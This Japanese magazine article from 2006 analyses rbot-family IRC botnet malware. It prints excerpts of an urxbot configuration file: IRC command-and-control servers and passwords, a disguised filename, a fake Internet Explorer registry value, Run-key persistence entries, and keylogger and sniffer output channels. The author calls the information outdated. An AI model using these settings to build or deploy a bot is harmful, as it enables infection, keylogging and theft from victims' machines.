Articles - Malware |
2006年3月にハッカージャパン誌に寄稿した記事です。初稿にほとんど修正を加えず掲載しておりますので、古い情報であることにご注意ください。
ボットには多数の亜種が存在する
ボットは亜種などを含めると莫大な数が存在しているが、元となるソースコードに手を加えて機能の追加やバグフィックスなどを行ったものが大半である。
配布されているプライベートバージョンのソースコードなどはパスワードプロテクトされていることもあるが、中には正常に動作しないゴミや名前だけ新たなボットに見せかけたFakeソースなども存在している。
rbot系
rbotベースのボットは、現在でもかなりの数が存在しており、多数の亜種を生んでいる。一例をあげれば以下のようなもので、
rbot/rxbot/rxwolf/rxhellbot/urxbot/txbot/toxbot/crackbot/rose/nesebot/xbot/bbot/xxxspiderz他
クラッカーが好んで利用しているボットといってもいいだろう。
rbot系はソースの設定ファイル(configs.h)を編集して生成する。最低限設定するのは、接続先のIRCサーバ、ポート、チャンネル名、そしてボットのパスワードである。また、ボットネットで使用するIRCサーバやIRCチャンネルはパスワードプロテクトされることがほとんどであるため、それらのパスワードの設定項目も存在する。
この他、ファイル名やレジストリキー、そしてHTTP、Socks、TFTP、rloginサーバのポート番号や、キーロガー、スニッフィング、exploitの出力チャンネルなどの設定項目も用意されている。ただし使用するソースによっては、FTPサーバが加わったりと、多少変わってくる。
ボットに感染したコンピュータは指定されたIRCサーバチャンネルへ接続を開始するわけだが、ここでは、urxbotのソースコードを用いて、ローカル環境に用意したIRCサーバ(ポート6667)のチャンネル#hackへ接続するよう設定してボットを生成したものを利用した。
■図3:ボットは設定ファイルを編集して生成するものがほとんどだ。これはrbot系の編集ファイルの一部である。項目を見ながら、接続先のIRCサーバ、ポート、チャンネル名など必要なものを自分用に書き換えるだけだ。ソースコードによっては設定を暗号化して行うものもある。
char botid[] = "[Urx K0rnZ]"; // bot id
char version[] = "[Urx BoT]"; // botのバージョン名
char password[] = "shit"; // botのパスワード
char server[] = "botnet.r00t.la"; // 接続先IRCサーバ
char serverpass[] = "123123"; // IRCサーバのパスワード
char channel[] = "#hack"; // botのログインチャンネル名
char chanpass[] = "shit"; // チャンネルパスワード
char server2[] = "botnet.mine.nu"; // 接続先IRCサーバ(バックアップ)
char channel2[] = "#hack"; // botのログインチャンネル名(バックアップ)
char chanpass2[] = "shit"; // チャンネルパスワード(バックアップ)
char filename[] = "ming.exe"; // botのファイル名
char keylogfile[] = "key.txt"; // キーログのファイル名
char valuename[] = "Microsoft Intrenet Explorer"; // レジストリ名
char nickconst[] = "[HJ]-"; // botの頭に付ける文字
char szLocalPayloadFile[]="sysconfig.dat"; // Payloadファイル名
■図4:ボットで起動させるHTTP、Socks、TFTP、rloginサーバのポート番号を設定する項目。これらも必要に応じて編集する。
// bot configuration (generic)
int port = 6667; // 接続するIRCサーバのポート
int port2 = 6667; // 接続するIRCサーバのポート(バックアップサーバ)
int socks4port = 1243; // Socks4サーバのポート
int tftpport = 69; // TFTPサーバのポート
int httpport = 2001; // HTTPサーバのポート
int rloginport = 513; // rloginサーバのポート
BOOL topiccmd = TRUE; // Topicコマンドの有効・無効
BOOL rndfilename = FALSE; // ランダムファイル名の使用の有効・無効
BOOL AutoStart = TRUE; // レジストリキーのスタートアップへの登録
char prefix = '.'; // コマンドの頭に付ける文字
int maxrand = 5; // ニックネームにつけるランダムナンバーの数
int nicktype = CONSTNICK; // ニックネームのタイプ
BOOL nickprefix = TRUE; // ニックネームのアップタイム
■図5:キーロガー、exploitなどは、設定した出力チャンネルに結果が出力される。また、レジストリの改変(スタートアップエントリ)などについても設定ファイルに記述されているが、デフォルトのまま使用されることが多い。
char exploitchan[] = "#exp"; // 脆弱性スキャンの表示チャンネル
char keylogchan[] = "#key"; // キーロガーの表示チャンネル
char psniffchan[] = "#sniff"; // スニッファの表示チャンネル
~~~~省略~~~~
char regkey1[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char regkey2[]="Software\\Microsoft\\Windows\\CurrentVersion\\RunServices";
char regkey3[]="Software\\Microsoft\\OLE";
char regkey4[]="SYSTEM\\CurrentControlSet\\Control\\Lsa";